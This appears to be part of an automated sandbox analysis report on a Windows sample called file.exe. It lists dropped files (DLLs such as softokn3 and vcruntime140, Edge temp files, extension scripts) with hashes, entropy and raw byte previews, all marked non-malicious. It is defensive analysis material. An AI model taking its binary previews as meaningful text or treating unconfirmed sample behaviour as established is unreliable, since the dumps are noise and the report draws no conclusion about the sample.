Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\03156ecf-82d7-481b-9f8b-4855e582a765.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\1b27a12a-058e-44bd-be96-cc00c5bd9be7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\ac5344bc-c87d-4627-b42b-90a9b5d0a926.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41902
Category:	dropped
Size (bytes):	76307
Entropy (8bit):	7.996168460148465
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysxDLZ8:fbb1UdS8scZNzFrMa4M+lKnDd8
MD5:	A8DBF37AF678B908487F5C21C49059C1
SHA1:	EC1DB66B2E896254593A2D3225CE4597F3723984
SHA-256:	997F3FCC5F0F90681A720550491282C8872B115A11BFECC3D2F96AFE092512F8
SHA-512:	94438F174F02C9AB17433E31527CE6D0A375EC86069F663A024BB969C81E587335F800956424222ADEDAD404858627C4FF6074FD0D166E611BA34DEB852F7980
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\b059e91c-108f-48b9-80d3-babd63a7880a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1526640
Entropy (8bit):	7.991586211969417
Encrypted:	true
SSDEEP:	24576:lOLVkOcIxEBO0S8pzp1w1mhHmcyUfvLj9TSJwWVj55yrEOUgT:lmV5cOEDNpzp1w1mUcyiTj9T0jtOUc
MD5:	66A18B098810C64538E36BD1416CC2B6
SHA1:	AF0B91B9C3D316FC14BE45C43C30099241318307
SHA-256:	C3F0A97F4CB78276B47EEEE07C0582CF15DCD3BB291FB5036B155D9A23D9F44A
SHA-512:	0722157D305BE9B1057944874AFB0741EFB3177400BFF505DE686A27262A6356DED691FAB3A77071DB09FE5792B2A3D88F0824FF81653B3180DE858A4161955F
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\c2f636e4-2d22-48fe-88a6-313881e412a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.421115242878511
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx08wKc5nHA0HE5M:JIVuwEw5MUFZLBQLteHOM
MD5:	19845FE9B0CFAA762C4CB9289C9FE826
SHA1:	0369BCA9761924553C89FA7B2EE5525118593A03
SHA-256:	7C047355530A5313D5DD43BB66A3A2F71A4E0E08D5639E73910A2F8F878CDD68
SHA-512:	6357B33A261C32B42ED03B174275F5BD6EFFB3F0955D7BE9DAC6E204F03035110E603E07A48571A49DD32C34AE9370F5C7F160B5A50DF270CB9E0EAB5B376804
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f694a9db-2d6a-425e-b866-76d8d738fab2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\fa90a630-1391-40e6-8e8f-f5cad7a39f05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1808305863\1b27a12a-058e-44bd-be96-cc00c5bd9be7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1808305863\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1808305863\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1808305863\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_1808305863\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
